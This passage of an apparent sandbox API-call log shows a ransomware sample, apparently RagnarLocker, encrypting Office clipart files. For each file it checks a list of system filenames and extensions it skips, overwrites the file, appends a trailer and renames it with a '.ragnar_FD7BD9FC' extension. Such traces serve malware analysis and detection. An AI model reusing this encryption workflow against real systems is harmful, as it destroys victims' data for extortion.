lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.744] GetProcessHeap () returned 0x580000 [0088.744] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.744] CloseHandle (hObject=0xf4) returned 1 [0088.744] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" [0088.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ragnar_FD7BD9FC" [0088.744] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0088.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01421_.WMF" | out: lpString1="NA01421_.WMF") returned="NA01421_.WMF" [0088.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF") returned=".WMF" [0088.745] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.745] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="autorun.inf") returned 1 [0088.745] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="boot.ini") returned 1 [0088.745] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="bootfont.bin") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="bootsect.bak") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="bootmgr") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="bootmgr.efi") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="desktop.ini") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="iconcache.db") returned 1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="ntldr") returned -1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="ntuser.dat") returned -1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="ntuser.ini") returned -1 [0088.746] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="thumbs.db") returned -1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf")) returned 0x20 [0088.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=176494) returned 1 [0088.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b165, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.747] GetProcessHeap () returned 0x580000 [0088.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2b16e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.748] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b16e, lpOverlapped=0x0) returned 1 [0088.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.753] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b16e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.753] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b16e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b16e, lpOverlapped=0x0) returned 1 [0088.754] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b16e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.754] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b16e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.755] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.755] GetProcessHeap () returned 0x580000 [0088.755] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.755] CloseHandle (hObject=0xf4) returned 1 [0088.756] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" [0088.756] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ragnar_FD7BD9FC" [0088.756] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.757] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0088.757] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.757] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01468_.WMF" | out: lpString1="NA01468_.WMF") returned="NA01468_.WMF" [0088.757] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF") returned=".WMF" [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="autorun.inf") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="boot.ini") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="bootfont.bin") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="bootsect.bak") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="bootmgr") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="bootmgr.efi") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="desktop.ini") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="iconcache.db") returned 1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="ntldr") returned -1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="ntuser.dat") returned -1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="ntuser.ini") returned -1 [0088.757] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="thumbs.db") returned -1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.757] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf")) returned 0x20 [0088.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.759] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20098) returned 1 [0088.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.759] GetProcessHeap () returned 0x580000 [0088.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.759] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.763] VirtualAlloc (lpAddress=0x0, dwSize=0x4e82, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.763] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4e82, lpOverlapped=0x0) returned 1 [0088.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.764] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e82, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.764] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4e82, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e82, lpOverlapped=0x0) returned 1 [0088.764] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e82, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.764] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.765] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.765] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.765] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.765] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.765] GetProcessHeap () returned 0x580000 [0088.765] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.765] CloseHandle (hObject=0xf4) returned 1 [0088.765] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" [0088.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ragnar_FD7BD9FC" [0088.765] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.766] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0088.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.766] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01470_.WMF" | out: lpString1="NA01470_.WMF") returned="NA01470_.WMF" [0088.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF") returned=".WMF" [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="autorun.inf") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="boot.ini") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="bootfont.bin") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="bootsect.bak") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="bootmgr") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="bootmgr.efi") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="desktop.ini") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="iconcache.db") returned 1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="ntldr") returned -1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="ntuser.dat") returned -1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="ntuser.ini") returned -1 [0088.766] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="thumbs.db") returned -1 [0088.766] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.767] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf")) returned 0x20 [0088.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.767] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19162) returned 1 [0088.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.767] GetProcessHeap () returned 0x580000 [0088.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.767] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.769] VirtualAlloc (lpAddress=0x0, dwSize=0x4ada, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.769] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ada, lpOverlapped=0x0) returned 1 [0088.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.770] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ada, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.770] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ada, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ada, lpOverlapped=0x0) returned 1 [0088.770] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ada, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.770] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ada, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.771] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.771] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.773] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.773] WriteFile (in: hFile=0xf4, 